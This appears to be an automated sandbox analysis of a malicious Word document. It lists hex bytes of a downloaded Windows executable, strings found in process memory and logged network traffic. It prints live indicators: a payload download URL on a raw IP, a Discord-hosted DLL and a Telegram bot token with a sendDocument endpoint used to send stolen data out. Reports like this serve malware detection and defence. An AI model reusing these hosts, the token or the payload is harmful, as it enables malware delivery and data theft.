63 00 00 0c 00 00 00 00 80 03 00 00 02 00 00 00 42 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 5b 03 00 00 00 00 00 48 00 00 00 02 00 05 00 bc 84 02 00 bc d6 00 00 03 00 00 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 01 00 00 0a 2a 1e 02 28 04 00 00 0a 2a a6 73 06 00 00 0a 80 01 00 00 04 73 07 00 00 0a 80 02 00 00 04 73 08 00 00 0a 80 03 00 00 04 73 09 00 00 0a 80 04 00 00 04 2a 00 00 13 30 02 00 2c 00 00 00 01 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 01 00 00 04 6f 0a 00 00 0a 2a 13 30 02 00 2c 00 00 00 02 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 02 00 00 04 6f 0b 00 00 0a 2a 13 30 02 00 2c 00 00 00 03 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 03 00 00 04 6f 0c 00 00 0a 2a 13 30 02 00 2c 00 00 00 04 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 04 00 00 04 6f 0d 00 00 0a 2a 13 30 02 00 2e 00 00 00 05 00 00 1
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 08 Aug 2022 15:18:44 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29Last-Modified: Sun, 07 Aug 2022 10:26:43 GMTETag: "34400-5e5a422bc1ac2"Accept-Ranges: bytesContent-Length: 214016Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 93 54 de 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 3c 03 00 00 06 00 00 00 00 00 00 ce 5b 03 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 5b 03 00 53 00 00 00 00 60 03 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 3b 03 00 00 20 00 00 00 3c 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 02 00 00 00 60 03 00 00 04 00 00 00 3e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 03 00 00 02 00 00 00 42 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 5b 03 00 00 00 00 00 48 00 00 00 02 00 05 00 bc 84 02 00 bc d6 00 00 03 00 00 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 01 00 00 0a 2a 1e 02 28 04 00 00 0a 2a a6 73 06 00 00 0a 80 01 00 00 04 73 07 00 00 0a 80 02 00 00 04 73 08 00 00 0a 80 03 00 00 04 73 09 00 00 0a 80 04 00 00 04 2a 00 00 13 30 02 00 2c 00 00 00 01 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 01 00 00 04 6f 0a 00 00 0a 2a 13 30 02 00 2c 00 00 00 02 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 02 00 00 04 6f 0b 00 00 0a 2a 13 30 02 00 2c 00 00 00 03 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 03 00 00 04 6f 0c 00 00 0a 2a 13 30 02 00 2c 00 00 00 04 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 04 00 00 04 6f 0d 00 00 0a 2a 13 30 02 00 2e 00 00 00 05 00 00 1

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 109.206.241.81 109.206.241.81

Source: Client.exe, 00000009.00000002.928299566.0000000002101000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984634446.0000000002641000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001971815.000000000264B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.206.241.81/htdocs/eZYWw.exe
Source: Client.exe, 00000009.00000002.928434749.0000000002140000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984981021.0000000002680000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1002192486.0000000002680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.206.241.81P
Source: RegSvcs.exe, 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: RegSvcs.exe, 0000000A.00000002.987370165.0000000002433000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.987738034.0000000002481000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1004119110.0000000002196000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194992268.00000000023F5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194571279.00000000023A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: Client.exe, 00000009.00000002.928058615.00000000003AF000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.988927572.0000000005840000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1002019894.000000000057E000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196776465.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fWvVfB.com
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: Client.exe, 00000009.00000002.928299566.0000000002101000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.987311161.0000000002420000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984634446.0000000002641000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1004034491.0000000002182000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001971815.000000000264B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194461229.0000000002392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: RegSvcs.exe, 00000015.00000002.1193947075.0000000002320000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194571279.00000000023A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ypWPmbJ0rAhp55WcExAk.org
Source: RegSvcs.exe, 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org%
Source: RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org%%startupfolder%
Source: RegSvcs.exe, 0000000A.00000002.987311161.0000000002420000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.987738034.0000000002481000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1004034491.0000000002182000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194992268.00000000023F5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194461229.0000000002392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Client.exe, 00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/
Source: RegSvcs.exe, 0000000A.00000002.987311161.0000000002420000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.984264815.000000000031E000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1004034491.0000000002182000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1001492987.0000000000501000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194461229.0000000002392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument
Source: RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocumentdocument-----
Source: RegSvcs.exe, 0000000A.00000002.987311161.0000000002420000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1004034491.0000000002182000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194461229.0000000002392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgP
Source: Client.exe, 00000009.00000002.928299566.0000000002101000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984634446.0000000002641000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001971815.000000000264B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: Client.exe, 00000009.00000002.928299566.0000000002101000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000009.00000002.928058615.00000000003AF000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984634446.0000000002641000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001971815.000000000264B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSign
Source: Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: RegSvcs.exe, 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0FBA591C-1198-4182-9EE3-9B1EEE452FAA}.tmp

Jump to behavior

Source: unknown

DNS traffic detected: queries for: cdn.discordapp.com

Source: global traffic	HTTP traffic detected: GET /attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSignature.dll HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSignature.dll HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSignature.dll HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /htdocs/eZYWw.exe HTTP/1.1Host: 109.206.241.81Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /htdocs/eZYWw.exe HTTP/1.1Host: 109.206.241.81Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /htdocs/eZYWw.exe HTTP/1.1Host: 109.206.241.81Connection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown	Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
Source: unknown	TCP traffic detected without corresponding DNS query: 109.206.241.81
